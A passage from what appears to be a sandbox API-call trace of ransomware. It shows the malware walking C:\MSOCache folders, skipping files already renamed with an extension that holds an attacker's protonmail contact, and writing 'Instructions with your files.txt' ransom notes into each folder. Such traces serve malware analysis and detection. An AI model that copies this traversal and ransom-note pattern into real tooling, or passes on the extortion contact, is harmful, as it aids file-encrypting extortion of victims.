[0112.684] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0112.685] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0112.685] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0112.685] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0112.685] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0112.686] CloseHandle (hObject=0x10c) returned 1
[0112.686] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0112.686] GetProcessHeap () returned 0x810000
[0112.686] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0112.686] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86064460, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1
[0112.686] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 66
[0112.686] GetProcessHeap () returned 0x810000
[0112.686] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0112.686] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*") returned 68
[0112.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86064460, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0112.721] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\.") returned 68
[0112.721] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0112.721] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86064460, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\..") returned 69
[0112.722] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1200304, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="INFLRC~1.COM")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.722] StrStrIW (lpFirst="InfLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2fad00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="INFOPA~1.COM")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0112.722] StrStrIW (lpFirst="InfoPathMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x5cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="INFOPA~2.COM")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 124
[0112.722] StrStrIW (lpFirst="InfoPathMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86064460, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x86064460, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8608a5c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.722] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0112.722] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0112.722] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x86064460, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0112.722] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0112.722] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0113.092] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0113.476] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0113.476] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0113.476] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0113.476] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0113.477] CloseHandle (hObject=0x10c) returned 1
[0113.477] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0113.477] GetProcessHeap () returned 0x810000
[0113.477] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0113.477] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x860b0720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1
[0113.477] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C") returned 66
[0113.477] GetProcessHeap () returned 0x810000
[0113.477] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0113.477] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*") returned 68
[0113.477] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x860b0720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0113.522] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.") returned 68
[0113.523] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x860b0720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..") returned 69
[0113.523] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x860b0720, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x860b0720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x860d6880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.523] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x8608a5c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1961, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0113.523] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x30781dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="VISIOL~1.COM")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0113.523] StrStrIW (lpFirst="VisioLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2ab100, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="VISIOM~1.COM")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0113.523] StrStrIW (lpFirst="VisioMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.523] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x261f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="VISIOM~2.COM")) returned 1
[0113.523] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0113.523] StrStrIW (lpFirst="VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0113.524] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x860b0720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x261f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="VISIOM~2.COM")) returned 0
[0113.524] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0113.524] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0113.524] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0113.525] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0113.525] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0113.525] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0113.525] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0113.525] CloseHandle (hObject=0x10c) returned 1
[0113.525] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0113.525] GetProcessHeap () returned 0x810000
[0113.526] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0113.526] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86122b40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86122b40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1
[0113.526] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 66
[0113.526] GetProcessHeap () returned 0x810000
[0113.526] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0113.526] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*") returned 68
[0113.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86122b40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86122b40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.") returned 68
[0113.531] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0113.531] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x86122b40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x86122b40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0113.531] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..") returned 69
[0113.531] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
